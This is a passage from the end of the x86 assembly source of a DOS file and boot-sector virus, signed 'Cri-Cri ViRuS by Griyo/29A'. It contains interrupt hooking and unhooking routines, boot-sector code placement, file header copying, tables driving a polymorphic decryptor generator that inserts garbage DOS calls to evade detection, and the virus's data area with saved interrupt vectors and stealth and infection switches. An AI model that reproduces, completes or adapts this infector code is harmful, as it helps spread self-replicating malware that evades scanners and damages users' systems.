;----------------------------------------------------------------------------
|
|
push_all:
|
|
cli
|
|
pop cs:[ret_off]
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push bp
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
push cs:[ret_off]
|
|
sti
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Restore all registers from the stack
|
|
;----------------------------------------------------------------------------
|
|
pop_all:
|
|
cli
|
|
pop cs:[ret_off]
|
|
pop ds
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop bp
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
push cs:[ret_off]
|
|
sti
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Clear some registers before returning to host
|
|
;----------------------------------------------------------------------------
|
|
zero_all:
|
|
xor ax,ax
|
|
xor bx,bx
|
|
xor cx,cx
|
|
xor dx,dx
|
|
xor di,di
|
|
xor si,si
|
|
xor bp,bp
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Unhook int 03h and int 24h and clear dos infection switch
|
|
;----------------------------------------------------------------------------
|
|
unhook_ints:
|
|
push ds
|
|
push dx
|
|
push ax
|
|
mov byte ptr cs:[running_sw],"R"
|
|
lds dx,dword ptr cs:[old03h]
|
|
mov al,03h
|
|
call set_int
|
|
lds dx,dword ptr cs:[old24h]
|
|
mov al,24h
|
|
call set_int
|
|
pop ax
|
|
pop dx
|
|
pop ds
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Get position of code inserted into boot sector
|
|
;----------------------------------------------------------------------------
|
|
get_position:
|
|
mov ah,0
|
|
mov al,byte ptr es:[bx+01h]
|
|
inc ax
|
|
inc ax
|
|
mov di,bx
|
|
add di,ax
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Make a copy of file header
|
|
;----------------------------------------------------------------------------
|
|
copy_header:
|
|
;Copy header to buffer
|
|
call push_all
|
|
push cs
|
|
pop es
|
|
mov si,offset file_buffer
|
|
mov di,offset old_header
|
|
mov cx,0019h
|
|
cld
|
|
rep movsb
|
|
call pop_all
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Polymorphic generator data buffer
|
|
;----------------------------------------------------------------------------
|
|
ah_table:
|
|
;This table contains the int 21h garbage functions
|
|
db 00Bh ;Read entry state
|
|
db 019h ;Get current drive
|
|
db 02Ah ;Get current date
|
|
db 02Ch ;Get current time
|
|
db 030h ;Get dos version number
|
|
db 062h ;Get psp address
|
|
end_ah_table:
|
|
ax_table:
|
|
dw 3300h ;Get break-flag
|
|
dw 3700h ;Get line-command separator
|
|
dw 5800h ;Get mem concept
|
|
dw 5802h ;Get umb insert
|
|
dw 6501h ;Get code-page
|
|
end_ax_table:
|
|
;Push and pop pairs
|
|
bytes_2:
|
|
push ax
|
|
pop dx
|
|
push ax
|
|
pop bx
|
|
push ax
|
|
pop cx
|
|
push bx
|
|
pop dx
|
|
push bx
|
|
pop cx
|
|
push cx
|
|
pop bx
|
|
push cx
|
|
pop dx
|
|
end_bytes_2:
|
|
;Steps table
|
|
step_table:
|
|
dw offset do_subroutine
|
|
dw offset do_call_garbage
|
|
dw offset g_generator
|
|
dw offset do_branch
|
|
dw offset sub_decryptor
|
|
dw offset next_decryptor
|
|
dw offset do_push_g_pop
|
|
end_step_table:
|
|
instruction_table:
|
|
dw offset inst_get_delta
|
|
dw offset inst_load_counter
|
|
dw offset inst_load_pointer
|
|
dw offset inst_decrypt_one
|
|
dw offset inst_inc_pointer
|
|
dw offset inst_dec_loop
|
|
end_inst_table:
|
|
;Address of every op-code generator
|
|
op_table:
|
|
dw offset move_with_reg
|
|
dw offset move_imm
|
|
dw offset reg_exchange
|
|
dw offset do_push_pop
|
|
dw do_int_21h
|
|
end_op_table:
|
|
;Misc data
|
|
last_fill_type dw 0
|
|
last_int_type db 0
|
|
last_step_type dw 0000h
|
|
last_subroutine dw 0000h
|
|
decrypt_sub dw 0000h
|
|
address_loop dw 0000h
|
|
decrypt_pointer db 00h
|
|
address_register db 00h
|
|
decrypt_register db 00h
|
|
address_seg_1 db 00h
|
|
address_seg_2 db 00h
|
|
;----------------------------------------------------------------------------
|
|
;Virus data buffer
|
|
;----------------------------------------------------------------------------
|
|
old21h equ this dword
|
|
old21h_off dw 0000h
|
|
old21h_seg dw 0000h
|
|
org21h equ this dword
|
|
org21h_off dw 0000h
|
|
org21h_seg dw 0000h
|
|
old13h equ this dword
|
|
old13h_off dw 0000h
|
|
old13h_seg dw 0000h
|
|
old24h equ this dword
|
|
old24h_off dw 0000h
|
|
old24h_seg dw 0000h
|
|
old03h equ this dword
|
|
old03h_off dw 0000h
|
|
old03h_seg dw 0000h
|
|
read_ptr equ this dword
|
|
read_off dw 0000h
|
|
read_seg dw 0000h
|
|
dos_flag db 00h
|
|
prog_type db "C"
|
|
running_sw db "R"
|
|
stealth_sw db 00h
|
|
dos_function dw 0000h
|
|
ret_off dw 0000h
|
|
today db 00h
|
|
file_offset dw 0000h
|
|
;----------------------------------------------------------------------------
|
|
text_birthday db "Cri-Cri ViRuS by Griyo/29A"
|
|
db " ...Tried, tested, not approved."
|
|
;----------------------------------------------------------------------------
|
|
file_buffer db 19h dup (00h)
|
|
old_header db 19h dup (00h)
|
|
clave_crypt db 00h
|
|
;----------------------------------------------------------------------------
|
|
;Buffer for working area
|
|
virus_copy db 00h
|
|
;----------------------------------------------------------------------------
|
|
com ends
|
|
end virus_entry
|